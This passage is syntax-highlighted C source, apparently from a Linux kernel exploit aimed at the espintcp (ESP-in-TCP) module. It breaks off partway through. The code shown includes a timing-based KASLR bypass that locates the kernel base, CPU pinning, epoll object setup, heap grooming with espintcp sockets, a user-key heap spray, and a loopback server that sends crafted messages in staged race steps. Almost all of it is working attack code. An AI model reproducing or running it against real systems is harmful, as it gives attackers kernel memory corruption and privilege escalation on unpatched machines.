					<span class="n">c</span><span class="o">--</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>

			<span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">base</span> <span class="o">==</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
					<span class="n">c</span><span class="o">++</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">&gt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">base</span> <span class="o">-=</span> <span class="n">OFFSET</span><span class="p">;</span>
				<span class="k">goto</span> <span class="n">got_base</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span>
<span class="cp">#else
#define START (0xffffffff81000000ull)
#define END (0xffffffffc0000000ull)
#define STEP 0x0000000000200000ull
#define NUM_TRIALS 7
</span>		<span class="c1">// largest contiguous mapped area at the beginning of _stext</span>
<span class="cp">#define WINDOW_SIZE 11
</span>
		<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="kt">uint64_t</span> <span class="n">bases</span><span class="p">[</span><span class="n">NUM_TRIALS</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">vote</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">vote</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">vote</span> <span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="kt">size_t</span> <span class="n">times</span><span class="p">[(</span><span class="n">END</span> <span class="o">-</span> <span class="n">START</span><span class="p">)</span> <span class="o">/</span> <span class="n">STEP</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
				<span class="kt">uint64_t</span> <span class="n">addrs</span><span class="p">[(</span><span class="n">END</span> <span class="o">-</span> <span class="n">START</span><span class="p">)</span> <span class="o">/</span> <span class="n">STEP</span><span class="p">];</span>

				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">);</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0</span><span class="p">;</span>
					<span class="n">addrs</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="n">START</span> <span class="o">+</span> <span class="n">STEP</span> <span class="o">*</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">ti</span><span class="p">;</span>
				<span class="p">}</span>

				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">);</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
						<span class="kt">uint64_t</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">addrs</span><span class="p">[</span><span class="n">ti</span><span class="p">];</span>
						<span class="kt">size_t</span> <span class="n">t</span> <span class="o">=</span> <span class="n">flushandreload</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">addr</span><span class="p">);</span>
						<span class="k">if</span> <span class="p">(</span><span class="n">t</span> <span class="o">&lt;</span> <span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">])</span> <span class="p">{</span>
							<span class="n">times</span><span class="p">[</span><span class="n">ti</span><span class="p">]</span> <span class="o">=</span> <span class="n">t</span><span class="p">;</span>
						<span class="p">}</span>
					<span class="p">}</span>
				<span class="p">}</span>

				<span class="kt">uint64_t</span> <span class="n">max</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
				<span class="kt">int</span> <span class="n">max_i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">ti</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">ti</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">times</span><span class="p">)</span> <span class="o">-</span> <span class="n">WINDOW_SIZE</span><span class="p">;</span> <span class="n">ti</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
					<span class="kt">uint64_t</span> <span class="n">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
					<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">WINDOW_SIZE</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
						<span class="n">sum</span> <span class="o">+=</span> <span class="n">times</span><span class="p">[</span><span class="n">ti</span> <span class="o">+</span> <span class="n">i</span><span class="p">];</span>
					<span class="p">}</span>
					<span class="k">if</span> <span class="p">(</span><span class="n">sum</span> <span class="o">&gt;</span> <span class="n">max</span><span class="p">)</span> <span class="p">{</span>
						<span class="n">max</span> <span class="o">=</span> <span class="n">sum</span><span class="p">;</span>
						<span class="n">max_i</span> <span class="o">=</span> <span class="n">ti</span><span class="p">;</span>
					<span class="p">}</span>
				<span class="p">}</span>

				<span class="n">bases</span><span class="p">[</span><span class="n">vote</span><span class="p">]</span> <span class="o">=</span> <span class="n">addrs</span><span class="p">[</span><span class="n">max_i</span><span class="p">];</span>
			<span class="p">}</span>

			<span class="kt">int</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
					<span class="n">base</span> <span class="o">=</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
				<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">base</span> <span class="o">==</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
					<span class="n">c</span><span class="o">++</span><span class="p">;</span>
				<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
					<span class="n">c</span><span class="o">--</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>

			<span class="n">c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">base</span> <span class="o">==</span> <span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
					<span class="n">c</span><span class="o">++</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">&gt;</span> <span class="n">ARRAY_LEN</span><span class="p">(</span><span class="n">bases</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">goto</span> <span class="n">got_base</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span>
<span class="cp">#endif
</span>	<span class="p">}</span>

<span class="nl">got_base:</span>

	<span class="n">kbase</span> <span class="o">=</span> <span class="n">base</span><span class="p">;</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kr">inline</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">_pin_to_cpu</span><span class="p">(</span><span class="kt">int</span> <span class="n">id</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">cpu_set_t</span> <span class="n">set</span><span class="p">;</span>
        <span class="n">CPU_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">set</span><span class="p">);</span>
        <span class="n">CPU_SET</span><span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">set</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">sched_setaffinity</span><span class="p">(</span><span class="n">getpid</span><span class="p">(),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">set</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">set</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">epoll_ctl_add</span><span class="p">(</span><span class="kt">int</span> <span class="n">epfd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">events</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">ev</span><span class="p">;</span>
	<span class="n">ev</span><span class="p">.</span><span class="n">events</span> <span class="o">=</span> <span class="n">events</span><span class="p">;</span>
	<span class="n">ev</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">fd</span> <span class="o">=</span> <span class="n">fd</span><span class="p">;</span>
	<span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ev</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">do_epoll_enqueue</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">cfd</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
	<span class="n">socketpair</span><span class="p">(</span><span class="n">AF_UNIX</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">cfd</span><span class="p">);</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">fork</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x300</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">epoll_timefds</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">dup</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x2c0</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">epoll_fds</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mh">0x1</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x2c0</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mh">0x300</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="n">epoll_ctl_add</span><span class="p">(</span><span class="n">epoll_fds</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">epoll_timefds</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
				<span class="p">}</span>
			<span class="p">}</span>
			<span class="n">write</span><span class="p">(</span><span class="n">cfd</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">tfd_buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
			<span class="n">raise</span><span class="p">(</span><span class="n">SIGSTOP</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="n">read</span><span class="p">(</span><span class="n">cfd</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">tfd_buf</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="n">close</span><span class="p">(</span><span class="n">cfd</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
	<span class="n">close</span><span class="p">(</span><span class="n">cfd</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">enable_espintcp</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">tag</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ulp</span> <span class="o">=</span> <span class="s">"espintcp"</span><span class="p">;</span>

	<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">setsockopt</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">,</span> <span class="n">TCP_ULP</span><span class="p">,</span> <span class="n">ulp</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">ulp</span><span class="p">));</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"[%s] setsockopt(TCP_ULP, </span><span class="se">\"</span><span class="s">espintcp</span><span class="se">\"</span><span class="s">) failed: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
				<span class="n">tag</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">));</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">heap_grooming</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">GROOMING_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">fds</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">);</span>
		<span class="n">enable_espintcp</span><span class="p">(</span><span class="n">fds</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="s">"grooming"</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="kt">long</span> <span class="nf">add_key</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">description</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">payload</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">plen</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">ringid</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">syscall</span><span class="p">(</span><span class="n">__NR_add_key</span><span class="p">,</span> <span class="n">type</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">plen</span><span class="p">,</span> <span class="n">ringid</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="o">*</span><span class="nf">key_spray</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">char</span> <span class="n">desc</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
	<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
	<span class="kt">long</span> <span class="n">key_id</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">KEY_SPRAY_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">snprintf</span><span class="p">(</span><span class="n">desc</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">desc</span><span class="p">),</span> <span class="s">"spray_key_%d"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>

		<span class="n">key_id</span> <span class="o">=</span> <span class="n">add_key</span><span class="p">(</span><span class="s">"user"</span><span class="p">,</span> <span class="n">desc</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">ctx</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">espintcp_ctx</span><span class="p">),</span> <span class="n">KEY_SPEC_PROCESS_KEYRING</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">key_id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">break</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">run_server</span><span class="p">(</span><span class="kt">int</span> <span class="n">s2c</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">c2s</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">listen_fd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">conn_fd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">addr</span><span class="p">,</span> <span class="n">cliaddr</span><span class="p">;</span>
	<span class="n">socklen_t</span> <span class="n">cli_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cliaddr</span><span class="p">);</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
	<span class="kt">ssize_t</span> <span class="n">n</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="sc">'x'</span><span class="p">;</span>
	<span class="n">pthread_t</span> <span class="n">th</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">sockaddr_alg</span> <span class="n">sa</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">alg_fd</span><span class="p">;</span>

	<span class="n">_pin_to_cpu</span><span class="p">(</span><span class="n">HELPER_CPU</span><span class="p">);</span>

	<span class="n">listen_fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">listen_fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[server] socket()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">));</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="n">htonl</span><span class="p">(</span><span class="n">INADDR_LOOPBACK</span><span class="p">);</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span><span class="p">(</span><span class="mi">5000</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">bind</span><span class="p">(</span><span class="n">listen_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[server] bind()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">listen</span><span class="p">(</span><span class="n">listen_fd</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[server] listen()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">conn_fd</span> <span class="o">=</span> <span class="n">accept</span><span class="p">(</span><span class="n">listen_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cliaddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cli_len</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">conn_fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[server] accept()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">int</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">fcntl</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">F_GETFL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">fcntl</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">F_SETFL</span><span class="p">,</span> <span class="n">flags</span> <span class="o">|</span> <span class="n">O_NONBLOCK</span><span class="p">);</span>

	<span class="kt">int</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">,</span> <span class="n">TCP_NODELAY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"setsockopt(TCP_NODELAY)"</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">msg</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
	<span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x07</span><span class="p">;</span>          <span class="c1">// full_len = 7</span>
	<span class="n">msg</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="c1">// marker = 0</span>
	<span class="n">msg</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x01</span><span class="p">;</span>                         <span class="c1">// extra</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">IKE_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
	<span class="p">}</span>


	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">RCV_QUEUE_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">7</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"step 2</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">write</span><span class="p">(</span><span class="n">s2c</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

	<span class="n">read</span><span class="p">(</span><span class="n">c2s</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"step 5</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="n">usleep</span><span class="p">(</span><span class="n">DELAY_STAGE_2</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">th</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="n">key_spray</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"pthread_create()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">pthread_join</span><span class="p">(</span><span class="n">th</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

